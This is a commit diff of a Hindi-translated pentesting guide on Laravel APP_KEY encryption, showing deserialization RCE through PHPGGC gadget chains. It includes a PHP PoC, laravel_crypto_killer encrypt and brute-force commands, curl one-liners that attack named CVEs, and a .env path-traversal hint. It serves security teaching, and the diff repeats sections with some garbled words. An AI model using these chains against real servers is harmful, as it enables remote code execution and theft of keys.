Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

This commit is contained in:
Translator 2025-08-04 22:30:22 +00:00
parent ef4ab7597c
commit 80978bc249

View File

@ -20,7 +20,7 @@ Laravel AES-256-CBC (या GCM) का उपयोग करता है ज
"tag" : "" // only used for AEAD ciphers (GCM) "tag" : "" // only used for AEAD ciphers (GCM)
} }
``` ```
`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से plaintext को `serialize()` करेगा, जबकि `decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** करेगा decrypted value को। इसलिए **कोई भी हमलावर जो 32-बाइट गुप्त `APP_KEY` को जानता है, एक encrypted PHP serialized object तैयार कर सकता है और जादुई विधियों (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।** `encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से plaintext को `serialize()` करेगा, जबकि `decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** decrypted value करेगा। इसलिए **कोई भी हमलावर जो 32-बाइट का गुप्त `APP_KEY` जानता है, एक एन्क्रिप्टेड PHP serialized ऑब्जेक्ट तैयार कर सकता है और जादुई विधियों (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।**
Minimal PoC (framework ≥9.x): Minimal PoC (framework ≥9.x):
```php ```php
@ -29,7 +29,7 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f $chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
``` ```
उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` सिंक (रूट पैरामीटर, कुकी, सत्र, ...) में इंजेक्ट करें उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` सिंग में इंजे्ट करें (रूट पैरामीटर, कुकी, सत्र, …)
--- ---
@ -51,43 +51,52 @@ The script transparently supports both CBC and GCM payloads and re-generates the
## वास्तविक दुनिया के कमजोर पैटर्न ## वास्तविक दुनिया के कमजोर पैटर्न
| प्रोजेक्ट | कमजोर सिं | गैजेट श्रृंखला | | प्रोजेक्ट | कमजोर सिं | गैजेट श्रृंखला |
|---------|-----------------|--------------| |---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 | | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` कुकी जब `Passport::withCookieSerialization()` सक्षम है | Laravel/RCE9 | | Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` कुकी जब `Passport::withCookieSerialization()` सक्षम है | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` कुकी | Laravel/RCE15 | | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` कुकी | Laravel/RCE15 |
शोषण कार्यप्रवाह हमेशा होता है: शोषण कार्यप्रवाह हमेशा होता है:
1. `APP_KEY` प्राप्त करें (डिफ़ॉल्ट उदाहरण, Git लीक, config/.env लीक, या ब्रूट-फोर्स) 1. 32-बाइट `APP_KEY` प्राप्त करें या ब्रूट-फोर्स करें।
2. **PHPGGC** के साथ गैजेट उत्पन्न करें 2. **PHPGGC** के साथ एक गैजेट श्रृंखला बनाएं (उदाहरण के लिए `Laravel/RCE13`, `Laravel/RCE9` या `Laravel/RCE15`)।
3. `laravel_crypto_killer.py encrypt …` 3. पुनर्प्राप्त `APP_KEY` और **laravel_crypto_killer.py** के साथ क्रमबद्ध गैजेट को एन्क्रिप्ट करें।
4. कमजोर पैरामीटर/कुकी के माध्यम से पेलोड वितरित करें → **RCE** 4. **RCE** को ट्रिगर करने के लिए कमजोर `decrypt()` सिंक (रूट पैरामीटर, कुकी, सत्र …) पर ciphertext भेजें।
नीचे प्रत्येक वास्तविक दुनिया के CVE के लिए पूर्ण हमले के मार्ग को प्रदर्शित करने वाले संक्षिप्त एक-लाइनर दिए गए हैं:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
--- ---
## कुकी ब्रूट-फोर्स के माध्यम से मास APP_KEY खोज ## Mass APP_KEY discovery via cookie brute-force
क्योंकि हर ताजा Laravel प्रतिक्रिया कम से कम 1 एन्क्रिप्टेड कुकी सेट करती है (`XSRF-TOKEN` और आमतौर पर `laravel_session`), **सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं** जिन्हें ऑफ़लाइन हमला किया जा सकता है। क्योंकि हर नए Laravel प्रतिक्रिया में कम से कम 1 एन्क्रिप्टेड कुकी (`XSRF-TOKEN` और आमतौर पर `laravel_session`) सेट होती है, **सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं** जिन्हें ऑफलाइन अटैक किया जा सकता है।
Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025): Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025):
* डेटा सेट जुलाई 2024 » 580 k टोकन, **3.99 % कुंजी क्रैक की गई** (≈23 k) * Dataset जुलाई 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* डेटा सेट मई 2025 » 625 k टोकन, **3.56 % कुंजी क्रैक की गई** * Dataset मई 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे क्रमबद्ध डेटा को शामिल करते हैं। * >1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे सीरियलाइज्ड डेटा को शामिल करते हैं।
* विशाल कुंजी पुन: उपयोग शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं। * विशाल कुंजी पुन: उपयोग शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं।
निजी Go टूल **nounours** AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 िनट तक कम करत है निजी Go टूल **nounours** AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 िनट में कम करत है
---
## संदर्भ
* [Laravel: APP_KEY लीक विश्लेषण](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 लेख (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
## Laravel Tricks ## Laravel Tricks
### डिबगिंग मोड ### Debugging mode
यदि Laravel **डिबगिंग मोड** में है तो आप **कोड** और **संवेदनशील डेटा** तक पहुँच सकते हैं।\ यदि Laravel **डिबगिंग मोड** में है तो आप **कोड** और **संवेदनशील डेटा** तक पहुँच सकते हैं।\
उदाहरण के लिए `http://127.0.0.1:8000/profiles`: उदाहरण के लिए `http://127.0.0.1:8000/profiles`:
@ -98,13 +107,13 @@ Synacktiv द्वारा प्रकाशित शोध के प्र
### .env ### .env
Laravel उस APP को एक फ़ाइल में सहेजता है जिसका उपयोग वह कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए करता है जिसे `.env` कहा जाता है जिसे कुछ पथ यात्रा के तहत एक्सेस किया जा सकता है: `/../.env` Laravel उस APP को एक फ़ाइल में सहेजता है जिसका उपयोग वह कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए करता है जिसे `.env` कहा जाता है, जिसे कुछ पथ ट्रैवर्सल का उपयोग करके एक्सेस किया जा सकता है: `/../.env`
Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel एक त्रुटि पाता है और यह सक्रिय होता है)। Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel एक त्रुटि पाता है और यह सक्रिय होता है)।
Laravel के गुप्त APP_KEY का उपयोग करके आप कुकीज़ को डिक्रिप्ट और फिर से एन्क्रिप्ट कर सकते हैं: Laravel के गुप्त APP_KEY का उपयोग करके आप कुकीज़ को डिक्रिप्ट और फिर से एन्क्रिप्ट कर सकते हैं:
### कुकी डिक्रिप्ट करें ### Decrypt Cookie
```python ```python
import os import os
import json import json
@ -176,91 +185,13 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
एक और deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) एक और deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
### Laravel SQLInjection
इस बारे में जानकारी पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection ## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
इस बारे में जानकारी पढ़ें: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) * [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel AES-256-CBC (या GCM) का उपयोग करता है जिसमें HMAC अखंडता होती है (`Illuminate\\Encryption\\Encrypter`)।
कच्चा ciphertext जो अंततः **क्लाइंट को भेजा जाता है** वह **Base64 का एक JSON ऑब्जेक्ट** होता है जैसे:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` डिफ़ॉल्ट रूप से plaintext को `serialize()` करेगा, जबकि `decrypt($payload, $unserialize=true)` **स्वतः `unserialize()`** decrypted value करेगा। इसलिए **कोई भी हमलावर जो 32-बाइट गुप्त `APP_KEY` को जानता है, एक encrypted PHP serialized object तैयार कर सकता है और जादुई विधियों (`__wakeup`, `__destruct`, …) के माध्यम से RCE प्राप्त कर सकता है।**
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
उत्पन्न स्ट्रिंग को किसी भी कमजोर `decrypt()` सिंक (रूट पैरामीटर, कुकी, सत्र, ...) में इंजेक्ट करें।
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) पूरे प्रक्रिया को स्वचालित करता है और एक सुविधाजनक **bruteforce** मोड जोड़ता है:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## वास्तविक दुनिया के कमजोर पैटर्न
| प्रोजेक्ट | कमजोर सिंग | गैजेट श्रृंखला |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` कुकी जब `Passport::withCookieSerialization()` सक्षम है | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` कुकी | Laravel/RCE15 |
शोषण कार्यप्रवाह हमेशा होता है:
1. `APP_KEY` प्राप्त करें (डिफ़ॉल्ट उदाहरण, Git लीक, config/.env लीक, या ब्रूट-फोर्स)
2. **PHPGGC** के साथ गैजेट उत्पन्न करें
3. `laravel_crypto_killer.py encrypt …`
4. कमजोर पैरामीटर/कुकी के माध्यम से पेलोड वितरित करें → **RCE**
---
## कुकी ब्रूट-फोर्स के माध्यम से मास APP_KEY खोज
क्योंकि हर ताजा Laravel प्रतिक्रिया कम से कम 1 एन्क्रिप्टेड कुकी सेट करती है (`XSRF-TOKEN` और आमतौर पर `laravel_session`), **सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं** जिन्हें ऑफ़लाइन हमला किया जा सकता है।
Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025):
* डेटा सेट जुलाई 2024 » 580 k टोकन, **3.99 % कुंजी क्रैक की गई** (≈23 k)
* डेटा सेट मई 2025 » 625 k टोकन, **3.56 % कुंजी क्रैक की गई**
* >1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे सीरियलाइज्ड डेटा को शामिल करते हैं।
* विशाल कुंजी पुन: उपयोग शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं।
निजी Go टूल **nounours** AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 िनट तक कम करत है
---
## संदर्भ
* [Laravel: APP_KEY लीक विश्लेषण](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP सामान्य गैजेट श्रृंखलाएँ](https://github.com/ambionics/phpggc) * [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 लेख (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}